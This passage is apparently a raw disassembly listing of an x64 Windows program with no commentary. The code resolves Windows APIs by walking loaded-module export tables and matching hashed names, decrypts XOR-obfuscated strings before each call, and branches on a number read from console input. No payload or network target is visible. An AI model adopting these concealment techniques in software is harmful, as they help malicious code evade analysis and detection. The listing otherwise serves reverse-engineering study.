lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400049a0
cmp r8d, 0x4a
jge 0x140004ad5
movsxd rax, r8d
lea r9, [rbp + 0x23a0]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4a
jl 0x140004aa0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140004b6b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140004b6b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x4f2b0976
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004b61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004b40
cmp r8d, 0xb1163a55
je 0x140004b70
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x140004b20
mov rax, qword [rax]
jmp 0x140004af0
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x23a0]
call rdx
movups xmm0, xmmword [0x140092f70]
movups xmmword [rbp + 0x11d8], xmm0
movups xmm1, xmmword [0x140092f80]
movups xmmword [rbp + 0x11e8], xmm1
mov eax, dword [0x140092f90]
mov dword [rbp + 0x11f8], eax
movzx eax, byte [0x140092f94]
mov byte [rbp + 0x11fc], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140004ce5
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x11dc]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140004bf2
cmp r8d, 0x25
jge 0x140004d35
movsxd rax, r8d
lea r9, [rbp + 0x11d8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140004d00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140004dcb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140004dcb
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xb8c6cbc0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004dc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004da0
cmp r8d, 0x9cabd4d3
je 0x140004dd0
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x140004d80
mov rax, qword [rax]
jmp 0x140004d50
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x11d8]
call rdx
movsd xmm0, qword [0x140092e90]
movsd qword [rbp + 0xc0], xmm0
movzx eax, word [0x140092e98]
mov word [rbp + 0xc8], ax
cmp byte [0x140092e99], 0
je 0x140004e62
mov byte [rbp + 0xc0], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0xc1], 0x3a
xor byte [rbp + 0xc2], 0x3b
xor byte [rbp + 0xc3], 0x3c
xor byte [rbp + 0xc4], 0x3d
xor byte [rbp + 0xc5], 0x3e
xor byte [rbp + 0xc6], 0x3f
xor byte [rbp + 0xc7], 0x40
xor byte [rbp + 0xc8], 0x41
xor byte [rbp + 0xc9], 0x42
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140004efb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140004efb
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x3659b32a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004ef1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004ed0
cmp r8d, 0x76759811
je 0x140004f00
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x140004eb0
mov rax, qword [rax]
jmp 0x140004e80
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xc0]
call rdx
lea rdx, [rbp + 0x2514]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x2514]
sub ecx, 1
je 0x140004f68
sub ecx, 1
je 0x14000d24b
sub ecx, 1
je 0x140006ae9
sub ecx, 1
je 0x140004fef
cmp ecx, 1
je 0x140018bb8
mov eax, dword [str.ZVH_]
mov dword [rbp - 0x44], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400135d5
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140013599
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x44], xmm1
jmp 0x1400135d5
mov eax, dword [str.ZVH_]
mov dword [rbp - 0x5c], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400050b5
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000506f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x5c], xmm1
jmp 0x1400050b5
lea r9, [rbp - 0x5c]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140005080
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000514b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000514b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xefe7430f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005141
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005120
cmp r8d, 0x94400b6e
je 0x140005150
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140005100
mov rax, qword [rax]
jmp 0x1400050d0
mov r8, qword [rsp + 0x30]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp - 0x5c]
call rax
movsd xmm0, qword [str._HY]
movsd qword [rbp + 0xf0], xmm0
mov eax, dword [0x140093020]
mov dword [rbp + 0xf8], eax
movzx eax, byte [0x140093024]
mov byte [rbp + 0xfc], al
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140005290
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._HY]
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400052a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000536b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000536b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa98c525b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005361
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005340
cmp r8d, 0xa510c404
je 0x140005370
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140005320
mov rax, qword [rax]
jmp 0x1400052f0
mov r8, qword [rsp + 0x30]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0xf0]
call rax
movups xmm0, xmmword [0x140092830]
movups xmmword [rbp + 0x7b8], xmm0
movups xmm1, xmmword [0x140092840]
movups xmmword [rbp + 0x7c8], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140005525
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400054dd
xor edx, edx
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x7bc]
mov r8d, dword [rbp + 0x100]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400053f0
jmp 0x140005525
lea r9, [rbp + 0x7b8]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400054f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x1400055bb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400055bb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xdc11f14f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400055b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005590
cmp r8d, 0xcc4839ae
je 0x1400055c0
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140005570
mov rax, qword [rax]
jmp 0x140005540
mov r8, qword [rsp + 0x30]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0x7b8]
call rax
mov rax, qword [str.sto_a]
mov qword [rbp + 0xa8], rax
cmp byte [0x1400924e7], 0
je 0x140005735
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400056ee
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa8]
xorps xmm2, xmm1
movd dword [rbp + 0xa8], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
xorps xmm2, xmm1
movd dword [rbp + 0xac], xmm2
jmp 0x140005735
lea r9, [rbp + 0xa8]
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140005700
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x1400057cb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400057cb
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x160b18cb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400057c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400057a0
cmp r8d, 0x68421314
je 0x1400057d0
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x140005780
mov rax, qword [rax]
jmp 0x140005750
mov r8, qword [rsp + 0x30]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0xa8]
call rax
movups xmm0, xmmword [0x140092618]
movups xmmword [rbp + 0x2d8], xmm0
movsd xmm0, qword [0x140092628]
movsd qword [rbp + 0x2e8], xmm0
movzx eax, word [0x140092630]
mov word [rbp + 0x2f0], ax
movzx eax, byte [0x140092632]
mov byte [rbp + 0x2f2], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140005953
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x2dc]
mov edx, dword [rbp + 0x100]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140005860
cmp r8d, 0x1b
jge 0x140005995
movsxd rax, r8d
lea r9, [rbp + 0x2d8]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140005960
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140005a2b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140005a2b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xd3fc1c56
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005a21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005a00
cmp r8d, 0x73324a97
je 0x140005a30
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x1400059e0
mov rax, qword [rax]
jmp 0x1400059b0
mov r8, qword [rsp + 0x30]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0x2d8]
call rax
mov eax, dword [0x140092bc4]
mov dword [rbp - 0x38], eax
movzx ecx, word [0x140092bc8]
mov word [rbp - 0x34], cx
movzx eax, byte [0x140092bca]
mov byte [rbp - 0x38], 0x43
xor byte [rbp - 0x37], 0x3a
xor byte [rbp - 0x36], 0x3b
xor byte [rbp - 0x35], 0x3c
xor cl, 0x3d
mov byte [rbp - 0x34], cl
xor byte [rbp - 0x33], 0x3e
xor al, 0x3f
mov byte [rbp - 0x32], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140005b2b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140005b2b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x5ebe16a2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005b21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005b00
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x140005ae0
mov rax, qword [rax]
jmp 0x140005ab0
xor eax, eax
mov byte [rsp + 0x50], al
lea rdx, [rbp - 0x54]
lea rcx, [rsp + 0x50]
call fcn.140018fa0
mov qword [rsp + 0x30], rax
cmp byte [rax + 3], 0
je 0x140006bb5
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006b75
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x140006bb5
mov r9, rax
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140006b80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140006c4b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140006c4b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x1abc5ad6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006c41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006c20
cmp r8d, 0x80fc9517
je 0x140006c50
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x140006c00
mov rax, qword [rax]
jmp 0x140006bd0
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x1c]
add rdx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x30]
